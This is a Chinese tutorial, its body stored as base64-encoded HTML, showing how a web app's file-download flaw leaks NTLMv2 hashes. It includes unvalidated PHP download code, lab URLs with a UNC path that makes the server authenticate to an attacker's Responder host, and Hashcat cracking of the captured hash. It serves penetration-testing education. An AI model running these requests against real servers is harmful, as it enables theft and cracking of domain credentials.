如何利用Web应用的文件下载漏洞偷取NTLMv2哈希

PGRpdiBjbGFzcz0ic2ltZGl0b3ItYm9keSI+PHA+5aSn5a625aW977yM6L+Z56+H5paH56ug5bCG5bGV56S64oCc5aaC5L2V5Yip55So5paH5Lu25LiL6L295ryP5rSe5p2l5YG35Y+WTlRMTXYy5ZOI5biM4oCd44CC5Zyo6L+Z5Liq5pS75Ye75Zy65pmv5Lit77yMV2Vi5bqU55So5a6J6KOF5Zyo5ZyoV2luZG93c+a0u+WKqOebruW9leWfn+S4reeahOS4gOmDqOWIhuacuuWZqOS4iu+8jOW5tuWFgeiuuOeUqOaIt+WcqOS4jeajgOafpeaWh+S7tui3r+W+hOeahOaDheWGteS4i+S4i+i9veaWh+S7tuOAgjwvcD48cD7mlLvlh7vogIXlj6/ku6XliKnnlKjmlofku7bkuIvovb3mvI/mtJ7orqnnm67moIfmnI3liqHlmajlr7nmlLvlh7vogIXmiYDmjqfliLbnmoTmnI3liqHlmajlj5Hlh7rkuIDkuKrkuIvovb3or7fmsYLvvIzmlLvlh7vogIXmnI3liqHlmajkuIrmraPov5DooYzigJxSZXNwb25kZXLigJ3vvIjkuIDkuKrlhoXnvZHmuJfpgI/lt6XlhbfvvInvvIzku6Xkvr/ku47nm67moIfmnI3liqHlmajkuK3lgbflj5ZOVExNdjLlk4jluIzjgIJSZXNwb25kZXLlt6XlhbfkuK3nmoTigJxTTULouqvku73pqozor4HmnI3liqHigJ3kvJrlvLrliLbnm67moIfmnI3liqHlmajliIfmjaLliLBOVExNdjLlk4jluIzouqvku73pqozor4HvvIzov5nmoLdOVExNdjLlsLHlj6/ku6XnlKjkuo7ku6XkuIvmg4XlhrXvvJoxLuWvueS7u+S9leKAnFNNQuetvuWQjeemgeeUqOKAneeahOacjeWKoeWZqOi/m+ihjOS4ree7p+aUu+WHu++8jDIu5oiW6ICF5pS75Ye76ICF5Y+v5Lul5bCd6K+V5L2/55So5ZOI5biM56C06Kej5bel5YW377yI5aaCSGFzaGNhdO+8ieaatOWKm+egtOino+WTiOW4jOOAgjwvcD48cD7orqnmiJHku6zku47lhbfmnInmlofku7bkuIvovb3mvI/mtJ7nmoRXZWLlupTnlKjlvIDlp4vvvIzkvb/nlKhTTULor7fmsYLku47ov5znqIvkuLvmnLrkuIvovb3mlofku7bjgII8L3A+PHA+UEhQ5pS75Ye7dXJs5pivPC9wPjxwPjxhIGhyZWY9Imh0dHA6Ly8xOTIuMTY4LjU2LjIwMDo4MDgwL2ZpbGUucGhwP2ZpbGU9YW55X2ZpbGUudHh0Ij5odHRwOi8vMTkyLjE2OC41Ni4yMDA6ODA4MC9maWxlLnBocD9maWxlPWFueV9maWxlLnR4dDwvYT48L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSIyMi5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlL2FkYmI1MzRlZjdiN2E2ODUwZTg3MjBiM2ZmMDVlMGM3LzIyLnBuZyIgd2lkdGg9Ijc2MyIgLz48YnIvPjwvcD48cD5QSFDmlofku7bku6PnoIHlpoLkuIs8L3A+PHByZT48P3BocCZuYnNwOwoKCmZ1bmN0aW9uJm5ic3A7ZmlsZV9kb3dubG9hZCgkZG93bmxvYWQpCnsKJm5ic3A7aWYoZmlsZV9leGlzdHMoJGRvd25sb2FkKSkKJm5ic3A7Jm5ic3A7ewombmJzcDsmbmJzcDtoZWFkZXIoIkNvbnRlbnQtRGVzYyZuYnNwO3JpcHRpb246Jm5ic3A7RmlsZSZuYnNwO1RyYW5zZmVyIik7Jm5ic3A7CiZuYnNwOyZuYnNwO2hlYWRlcigmIzM5O0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6Jm5ic3A7YmluYXJ5JiMzOTspOwombmJzcDsmbmJzcDtoZWFkZXIoJiMzOTtFeHBpcmVzOiZuYnNwOzAmIzM5Oyk7CiZuYnNwOyZuYnNwO2hlYWRlcigmIzM5O0NhY2hlLUNvbnRyb2w6Jm5ic3A7bXVzdC1yZXZhbGlkYXRlLCZuYnNwO3Bvc3QtY2hlY2s9MCwmbmJzcDtwcmUtY2hlY2s9MCYjMzk7KTsKJm5ic3A7Jm5ic3A7aGVhZGVyKCYjMzk7UHJhZ21hOiZuYnNwO3B1YmxpYyYjMzk7KTsKJm5ic3A7Jm5ic3A7aGVhZGVyKCYjMzk7QWNjZXB0LVJhbmdlczombmJzcDtieXRlcyYjMzk7KTsKJm5ic3A7Jm5ic3A7aGVhZGVyKCYjMzk7Q29udGVudC1EaXNwb3NpdGlvbjombmJzcDthdHRhY2htZW50OyZuYnNwO2ZpbGVuYW1lPSImIzM5Oy5iYSZuYnNwO3NlbmFtZSgkZG93bmxvYWQpLiYjMzk7IiYjMzk7KTsmbmJzcDsKJm5ic3A7Jm5ic3A7aGVhZGVyKCYjMzk7Q29udGVudC1MZW5ndGg6Jm5ic3A7JiMzOTsmbmJzcDsuJm5ic3A7ZmlsZXNpemUoJGRvd25sb2FkKSk7CiZuYnNwOyZuYnNwO2hlYWRlcigmIzM5O0NvbnRlbnQtVHlwZTombmJzcDthcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0mIzM5Oyk7Jm5ic3A7CiZuYnNwOyZuYnNwO29iX2NsZWFuKCk7CiZuYnNwOyZuYnNwO2ZsdXNoKCk7CiZuYnNwOyZuYnNwO3JlYWRmaWxlJm5ic3A7KCRkb3dubG9hZCk7CiZuYnNwOyZuYnNwO30KJm5ic3A7ZWxzZQombmJzcDsmbmJzcDt7CiZuYnNwOyZuYnNwO2VjaG8mbmJzcDsiPHNjJm5ic3A7cmlwdD5hbGVydCgmIzM5O2ZpbGUmbmJzcDtub3QmbmJzcDtmb3VuZCYjMzk7KTs8L3NjJm5ic3A7cmlwdD4iOyZuYnNwOwombmJzcDsmbmJzcDt9Cgp9CiRmaWxlX25hbWU9dHJpbSgkX0dFVFsmIzM5O2ZpbGUmIzM5O10pOwpmaWxlX2Rvd25sb2FkKCRmaWxlX25hbWUpOwoKPz48L3ByZT48cD7lpoLmnpzmiJHku6zmjIflrprku7vkvZXkuIDkuKrlrZjlnKjkuo7ns7vnu5/nmoTmlofku7bvvIzpgqPkuYhQSFDohJrmnKzlsIbmiafooYzmlofku7bkuIvovb3mk43kvZzjgILohJrmnKzmiafooYzkuIvovb3mk43kvZzml7bkvJrmo4Dmn6XmmK/nm7jlr7not6/lvoTov5jmmK/nu53lr7not6/lvoTvvIzmiYDku6XmiJHku6zliKnnlKjov5nkuIDooYzkuLrlkJHov5DooYzkuoZSZXNwb25kZXLlt6XlhbfnmoTmlLvlh7vogIXmnI3liqHlmajlj5Hlh7pTTULor7fmsYLjgII8L3A+PHA+5YGH6K6+5YWB6K6455So5oi35LiL6L295paH5Lu255qE5a6e6ZmF6K+35rGC5pivPC9wPjxwPjxhIGhyZWY9Imh0dHA6Ly8xOTIuMTY4LjU2LjIwMDo4MDgwL2ZpbGUucGhwP2ZpbGU9Ym94Lmh0bWwiPmh0dHA6Ly8xOTIuMTY4LjU2LjIwMDo4MDgwL2ZpbGUucGhwP2ZpbGU9Ym94Lmh0bWw8L2E+PC9wPjxwPui/kOihjFJlc3BvbmRlcueahOacjeWKoeWZqOeahElQ5Li6MTkyLjE2OC41Ni4xMDLjgII8L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSIzMy5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzg5MzJiZWU5MmM4NDE3ZTY2ZjE5ZjE2NzE1MWVjNzM5LzMzLnBuZyIgd2lkdGg9Ijc5MCIgLz48YnIvPjwvcD48cD7njrDlnKjvvIzlkJFSZXNwb25kZXLmnI3liqHlmajlj5Hlh7pTTULor7fmsYLvvIzor63lj6XlpoLkuIs8L3A+PHA+PGEgaHJlZj0iaHR0cDovL3RhcmdldF93ZWJfc2VydmVyL3Z1bG5lcmFibGVfc2MgcmlwdC5waHA/cGFyYW1ldGVyPVxcUmVzcG9uZGVyX3NlcnZlcl9JUFxhbnlfZmlsZS50eHQiPmh0dHA6Ly90YXJnZXRfd2ViX3NlcnZlci92dWxuZXJhYmxlX3NjIHJpcHQucGhwP3BhcmFtZXRlcj1cXFJlc3BvbmRlcl9zZXJ2ZXJfSVBcYW55X2ZpbGUudHh0PC9hPjwvcD48cD7lnKjov5nkuKrmoYjkvovkuK3vvIx0YXJnZXRfd2ViX3NlcnZlcuaYrzE5Mi4xNjguNTYuMjAwOjgwODB2dWxuZXJhYmxlX3NjIHJpcHQucGhw5pivZmlsZS5waHDmlofku7bkuK3lj4LmlbBmaWxl55qE5YC877yMUmVzcG9uZGVyX3NlcnZlcl9JUOaYrzE5Mi4xNjguNTYuMTAy44CCPC9wPjxwPuacgOe7iFVSTOaYrzwvcD48cD48YSBocmVmPSJodHRwOi8vMTkyLjE2OC41Ni4yMDA6ODA4MC9maWxlLnBocD9maWxlPVxcMTkyLjE2OC41Ni4xMDJcYm94Lmh0bWwiPmh0dHA6Ly8xOTIuMTY4LjU2LjIwMDo4MDgwL2ZpbGUucGhwP2ZpbGU9XFwxOTIuMTY4LjU2LjEwMlxib3guaHRtbDwvYT48L3A+PHA+5aaC5p6c5LiA5YiH6aG65Yip77yMUmVzcG9uZGVy5bCG5o2V6I6355uu5qCH5pyN5Yqh5Zmo55qETlRMTXYy5ZOI5biM44CCPC9wPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIGFsdD0iNDQucG5nIiBzcmM9Imh0dHBzOi8vbm9zZWMub3JnL2F2YXRhci91cGxvYWRzL2F0dGFjaC9pbWFnZS80OWUzYWJlM2YwMGY4NTNiNGQ2MDJkMWI3YjZlNDI2Mi80NC5wbmciIHdpZHRoPSI3OTAiIC8+PGJyLz48L3A+PHA+5LiK6Z2i55qE5Zu+54mH5pi+56S65LqGUmVzcG9uZGVy5LuO55uu5qCH5pyN5Yqh5Zmo5o2V6I6355qE5ZOI5biM77yM5LuO5Lit5Y+v5Lul55yL5Yiw55uu5qCHV2Vi5pyN5Yqh5Zmo5q2j5Zyo5Lul55qEV2luZG93c+a0u+WKqOebruW9leeUqOaIt3VzZXIz55qE6Lqr5Lu96L+Q6KGM44CCPC9wPjxwPueOsOWcqO+8jOWPr+S7peWwneivleaatOWKm+egtOino+i/meS4quaNleiOt+eahOWTiOW4jOadpeiOt+W+l+e6r+aWh+acrOWvhueggeOAguKAnEhhc2hjYXTigJ3mmK/miafooYzmlbTkuKrnoLTop6PnmoTmnIDlv6vnmoTlt6XlhbfjgILlroPmlK/mjIFDUFUvR1BV56C06Kej77yM6L+Y5pSv5oyB5aSa56eN5ZOI5biM5qC85byP44CCSGFoY2F05a6Y5pa55LiL6L29572R56uZ5pivPGEgaHJlZj0iaHR0cHM6Ly9oYXNoa2lsbGVyLmNvLnVrL2Rvd25sb2Fkcy5hc3B4Ij5odHRwczovL2hhc2hraWxsZXIuY28udWsvZG93bmxvYWRzLmFzcHg8L2E+5L2g5Lmf5Y+v5Lul5ZyoPGEgaHJlZj0iaHR0cHM6Ly9oYXNoY2F0Lm5ldC9oYXNoY2F0LyI+aHR0cHM6Ly9oYXNoY2F0Lm5ldC9oYXNoY2F0LzwvYT7kuIvovb3noLTop6PlrZflhbjjgILlpoLmnpzov5DmsJTlpb3nmoTor53vvIzor7fpnZnlgJnnu5PmnpzjgII8L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSI1NS5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzlkMGI0MjYwMjFjYzg2MTcwZWViM2JjN2UxY2FiNTlmLzU1LnBuZyIgd2lkdGg9Ijc5MCIgLz48YnIvPjwvcD48cD5IYXNoY2F05pyA5ZCO6Kej5Ye65LqGUmVzcG9uZGVy5o2V6I6355qETlRMTXYy5ZOI5biM77yM5b6X5Yiw5piO5paH5a+G56CB44CC546w5Zyo5oiR5Lus5Y+v5Lul5Zu057uVV2luZG93c+a0u+WKqOebruW9lei/m+ihjOabtOi/m+S4gOatpeeahOa4l+mAj+S6hu+8jOWboOS4uuaIkeS7rOacieS4gOS4quWfn+eUqOaIt+eahOWHreivgeOAgjwvcD48cD7ku6XkuIrlsLHmmK/miJHmiYDkuobop6PnmoTlhajpg6jjgII8L3A+PHA+6LCi6LCi5L2g55qE6ZiF6K+744CCPC9wPjxwcmU+5Y6f5paH6ZO+5o6l77yaaHR0cDovL3d3dy5tYW5udWxpbnV4Lm9yZy8yMDE4LzEyL2hvdy10by1zdGVhbC1udGxtdjItaGFzaGVzLXVzaW5nLWZpbGUuaHRtbDwvcHJlPgogJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDs8L2Rpdj48cD48YnIvPjwvcD4=